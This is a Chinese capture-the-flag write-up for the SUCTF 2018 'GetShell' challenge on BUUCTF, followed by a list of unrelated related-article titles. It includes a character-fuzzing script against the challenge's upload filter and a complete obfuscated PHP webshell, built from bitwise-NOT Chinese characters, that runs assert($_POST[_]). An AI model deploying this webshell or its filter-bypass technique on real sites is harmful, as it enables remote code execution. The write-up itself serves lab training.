题目地址:https://buuoj.cn/challenges#[SUCTF%202018]GetShell

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){$data=substr($contents,5);foreach ($black_char as $b) {if (stripos($data, $b) !== false){die("illegal char");}}
}

检查文件内容(内容前五位不检查),内容中有匹配到黑名单的输出illegal char

文件上传成功后会修改文件后缀为php,那么就需要构造一个webshell成功上传即可

首先需要fuzz,弄清楚黑名单没有哪些字符,再通过这些字符构造webshell

这是我写的fuzz脚本:

# -*- coding:utf-8 -*-
# Author: m0c1nu7
import requestsdef ascii_str():str_list=[]for i in range(33,127):str_list.append(chr(i))#print('可显示字符:%s'%str_list)return str_listdef upload_post(url):str_list = ascii_str()for str in str_list:header = {'Host':'3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding':'gzip, deflate','Content-Type':'multipart/form-data; boundary=---------------------------339469688437537919752303518127'}post = '''-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain12345'''+str+'''
-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="submit"提交
-----------------------------339469688437537919752303518127--'''res = requests.post(url,data=post.encode('UTF-8'),headers=header)if 'Stored' in res.text:print("该字符可以通过:  {0}".format(str))else:print("过滤字符:  {0}".format(str))if __name__ == '__main__':url = 'http://3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn/index.php?act=upload'upload_post(url)

测试结果如下:

PS C:\Users\Administrator\Desktop> python .\fuzz.py
过滤字符:  !
过滤字符:  "
过滤字符:  #
该字符可以通过:  $
过滤字符:  %
过滤字符:  &
过滤字符:  '
该字符可以通过:  (
该字符可以通过:  )
过滤字符:  *
过滤字符:  +
过滤字符:  ,
过滤字符:  -
该字符可以通过:  .
过滤字符:  /
过滤字符:  0
过滤字符:  1
过滤字符:  2
过滤字符:  3
过滤字符:  4
过滤字符:  5
过滤字符:  6
过滤字符:  7
过滤字符:  8
过滤字符:  9
过滤字符:  :
该字符可以通过:  ;
过滤字符:  <
该字符可以通过:  =
过滤字符:  >
过滤字符:  ?
过滤字符:  @
过滤字符:  A
过滤字符:  B
过滤字符:  C
过滤字符:  D
过滤字符:  E
过滤字符:  F
过滤字符:  G
过滤字符:  H
过滤字符:  I
过滤字符:  J
过滤字符:  K
过滤字符:  L
过滤字符:  M
过滤字符:  N
过滤字符:  O
过滤字符:  P
过滤字符:  Q
过滤字符:  R
过滤字符:  S
过滤字符:  T
过滤字符:  U
过滤字符:  V
过滤字符:  W
过滤字符:  X
过滤字符:  Y
过滤字符:  Z
该字符可以通过:  [
过滤字符:  \
该字符可以通过:  ]
过滤字符:  ^
该字符可以通过:  _
过滤字符:  `
过滤字符:  a
过滤字符:  b
过滤字符:  c
过滤字符:  d
过滤字符:  e
过滤字符:  f
过滤字符:  g
过滤字符:  h
过滤字符:  i
过滤字符:  j
过滤字符:  k
过滤字符:  l
过滤字符:  m
过滤字符:  n
过滤字符:  o
过滤字符:  p
过滤字符:  q
过滤字符:  r
过滤字符:  s
过滤字符:  t
过滤字符:  u
过滤字符:  v
过滤字符:  w
过滤字符:  x
过滤字符:  y
过滤字符:  z
过滤字符:  {
过滤字符:  |
过滤字符:  }
该字符可以通过:  ~
PS C:\Users\Administrator\Desktop>

可以通过的字符有:$().;=[]_~,然后就是汉字了
利用这些,构造webshell,参考原来我写的这篇文章:https://blog.csdn.net/mochu7777777/article/details/104631142,使用取反汉字绕过

首先来看个例子:

利用这个原理,来构造一个assert($_POST[_])

首先我们的索引1不能再以数字形式直接表示,会被过滤的,在PHP中,两个空数组进行比较会得到true,而true==1

把变量名用_表示即可

<?php
$__ = [];
$_ = ($__ == $__);//$_ = 1

接下来就是对大量汉字进行fuzz测试,fuzz脚本参考之前写的那篇文章中的脚本

<?php
//Author: m0c1nu7
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');function str_split_unicode($str, $l = 0) {if ($l > 0) {$ret = array();$len = mb_strlen($str, "UTF-8");for ($i = 0; $i < $len; $i += $l) {$ret[] = mb_substr($str, $i, $l, "UTF-8");}return $ret;}return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}$s = '你归来是诗离去成词且笑风尘不敢造次我糟糠能食粗衣也认煮酒话桑不敢相思你终会遇见这么一个人他会用整个人生将你精心收藏用漫长岁月把你妥善安放怕什么岁月漫长你心地善良,终会有一人陪你骑马喝酒走四方为你唱一首歌歌中有你亦有我我的泪我的魅将都融入到我的歌声里飘向孤独的你你是否听到了我的歌曲是否也在黯然落泪?岁月匆匆人生漫漫漠视了真情谁是站谁的谁已经变得不重要至少曾经已拥有长相思爱相随时空隔离谁相陪?花前月下心随风相思一片梦成空笑看往事红尘中多少凝思付清秋?长相思泪相随曾经谁是谁的谁?孤星冷月泪盈盈念曾经相逢心长时光短让人垂泪到天明长相思苦相随窗前双燕比翼飞日暮情人成双对于时光无垠的田野中没有早一步也没有晚一步恰好遇见了想要遇见的人这是一段多少美丽而令人心动的尘缘于爱情来说相见恨早会恨晚站会留下梨花带雨的疼痛而于友情来说无论太早或者太迟都是一份值得珍惜的情缘晚秋缓缓走晚了我的轮回疏雨一刻半疏笼起我深深的梦馀昨日遗憾寸寸疏雨挑涸泪烛落笔无处飒晚秋彼晚秋未晚懒我疏雨疏风去归我初心还我清梦唯我在晚秋未晚里守望那疏雨半疏的麦田待下一片梧桐叶复舞我亦拾起我的旧梦旧梦清寒一枕乱我眸中晚秋躞蹀的雨疏疏拍窗我的晚秋疏雨半疏疏开昨日我的梦情缘如海深邃澈蓝干涸成妄谈一湛清湖泪潸然一颦寒眉锁阑珊只为你而欣悦只因你而清泪斑斑你是我的前世吧为何沁泊在我的心怀缱绻起涟波千层驻我心扉知我情怀从此我已习惯你的嘘寒问暖懒倦地痴卧在你的胸怀红霞满腮昨天再苦都要用今天的微笑把它吟咏成一段幸福的记忆;曾经再累都要用当站下的遗忘穿越万道红尘让心波澜不惊人生最大的荣耀不在于从不跌倒而在于每一次跌倒后都能爬起来回忆是件很累的事就像失眠时怎么躺都不对的样子有时候往往直到离开在回忆里才能知道自己有多喜欢一座城';$arr_str=str_split_unicode($s);for ($i=0; $i < strlen($s) ; $i++) { echo $arr_str[$i].' ------- '.~$arr_str[$i][1].'<br>';
}?>

有大量的汉字就可以足够支撑我们要构造想要的webshell,接下来就一个个拼接了,webshell构造结果如下:

<?php
$__ = [];
$_ = ($__ == $__);//$_ = 1$__ = ~(融);
$___ = $__[$_];//a
$__ = ~(匆);
$___ .= $__[$_].$__[$_];//ass
$__ = ~(随);
$___ .= $__[$_];//asse
$__ = ~(千);
$___ .= $__[$_];//asser
$__ = ~(苦);
$___ .= $__[$_];//assert$____ = ~(~(_));//_
$__ = ~(诗);
$____ .= $__[$_];//_P
$__ = ~(尘);
$____ .= $__[$_];//_PO
$__ = ~(欣);
$____ .= $__[$_];//_POS
$__ = ~(站);
$____ .= $__[$_];//_POST$_=$$____;//$_POST
$___($_[_]);//assert($_POST[_])

当然,这样直接传上去肯定是被过滤的,需要去掉文件内容中所有的空格和注释,得到如下:

//shell.txt
<?php
$__=[];
$_=($__==$__);
$__=~(融);
$___=$__[$_];
$__=~(匆);
$___.=$__[$_].$__[$_];
$__=~(随);
$___.=$__[$_];
$__=~(千);
$___.=$__[$_];
$__=~(苦);
$___.=$__[$_];
$____=~(~(_));
$__=~(诗);
$____.=$__[$_];
$__=~(尘);
$____.=$__[$_];
$__=~(欣);
$____.=$__[$_];
$__=~(站);
$____.=$__[$_];
$_=$$____;
$___($_[_]);

上传这个shell.txt

在根目录发现的flag是假的,Buu的师傅们说是环境问题,让我直接读环境变量env可以读出来

BUUCTF:[SUCTF 2018]GetShell相关推荐

  1. CTF训练计划—[SUCTF 2018]GetShell

    前言: 这道题考察的是构造无字母数字的webshell,也挺有趣,被卡了一天了,还有看了网上的WP,千篇一律,所以很有必要记录一下. [SUCTF 2018]GetShell 直接给出源码 <? ...

  2. BUUCTF:[HCTF 2018]Hide and seek

    BUUCTF:[HCTF 2018]Hide and seek 参考:https://www.jianshu.com/p/d20168da7284 先随便输入账号密码登录 提示我们上传zip文件 上传 ...

  3. BUUCTF:[SUCTF 2019]Game

    https://buuoj.cn/challenges#[SUCTF%202019]Game index.html中发现一串base32 >>> import base64 > ...

  4. 逆向迷宫题总结(持续更新) 2020华南师大CTF新生赛maze,攻防世界新手区:NJUPT CTF 2017,BUUCTF:不一样的flag

    CTF逆向入门:迷宫题学习记录(持续更新) ** 目录 **CTF逆向入门:迷宫题学习记录(持续更新)** (前言) 一. 逆向迷宫题概述 二. 具体题目分析 1. 2019华南师大CTF新生赛maz ...

  5. BigData:绘制2018年福布斯中国富豪榜人根据出生地绘制个人或其家族财富分布热点图

    Python:绘制2018年福布斯中国富豪榜人根据出生地绘制个人或其家族财富分布热点图 目录 输出结果 设计思路 输出结果 values=[453, 390, 303, 31234, 219, 201 ...

  6. BigData:绘制2018年福布斯中国富豪榜人名坐标地图(解决多个人名显示在同一个家乡地点)

    BigData:绘制2018年福布斯中国富豪榜人名坐标地图(解决多个人名显示在同一个家乡地点) 目录 一.总体设计思路 1.思路框图 ​2.最终解决 二.挖坑.埋坑

  7. BigData之matplotlib:爬虫2018年福布斯中国富豪榜进行数据统计分析,大数据告诉你一些不可思议的事情

    BigData之matplotlib:爬虫2018年福布斯中国富豪榜进行数据统计分析,大数据告诉你一些不可思议的事情 目录 数据统计分析 1.2018年福布斯中国富豪榜(资产≥60亿美元)财富地区分布 ...

  8. 弱监督学习下商品识别:CVPR 2018细粒度识别挑战赛获胜方案简介

    弱监督学习下商品识别:CVPR 2018细粒度识别挑战赛获胜方案简介 细粒度视觉分类(FGCV,Fine-Grained Visual Categorization)即识别细分类别的任务,一般它需要同 ...

  9. 读者福利:复盘2018上半年精选文章,还有礼品等着你!

    关注"数据和云",精彩不容错过 亲爱的读者朋友们: 不知不觉,2018 上半年已经过完,下半年悄然开始.在这里,小编要借此机会,感谢读者朋友们的鼓励,支持与陪伴,为了表示诚挚的谢意 ...

最新文章

  1. mckinsey game
  2. Spring Schedule关闭订单
  3. SAP Spartacus 升级时关于 schematics 的更新
  4. 我所遭遇过的中间件--VTK
  5. 蚂蚁上市P8身价超亿,丢给我这几个牛逼的公众号
  6. 一些关于图论和二叉树的
  7. 英语版计算机教室规章制度,计算机教室规章制度
  8. 95-150-015-源码-Sink-SinkFunction
  9. java 开启wifi_通过java代码打开wifi direct
  10. 力扣404. 左叶子之和(JavaScript)
  11. poj1068Parencodings
  12. install ipython-notebook
  13. 关于vue项目的文件组织
  14. linux如何检测文件完整,shell脚本实现linux系统文件完整性检测
  15. 一个强大的 JS 代码混淆工具
  16. 史上最详细的梯度下降优化算法介绍(从SGD到Adam至Lookahead)
  17. 数据分析5_美团外卖用户差评分析(附数据及Tableau文件)
  18. 树莓派Pico开发板的C/C++开发环境搭建(VSCode+PlatformIO)
  19. 百度api获取经纬度以及经纬度的转换
  20. 书论72 宋啬《书法纶贯》

热门文章

  1. 计算机公式计算求合计,『整列求和公式excel』excel如何计算一列数字的总和?...
  2. 基于文本的Excel行总和
  3. Word、Excel、PPT题库——“办公自动化”
  4. vue使用wow.js
  5. java使用poi实现读取复杂Excel文件
  6. 计算机图形学发展及应用,计算机图形学的发展及应用
  7. 一款思维概要整理工具:幕布 for mac
  8. mac退出应用程序和关闭应用程序的区别
  9. 算法 散列3 QQ帐户的申请与登陆
  10. 如何将图片压缩到30K以下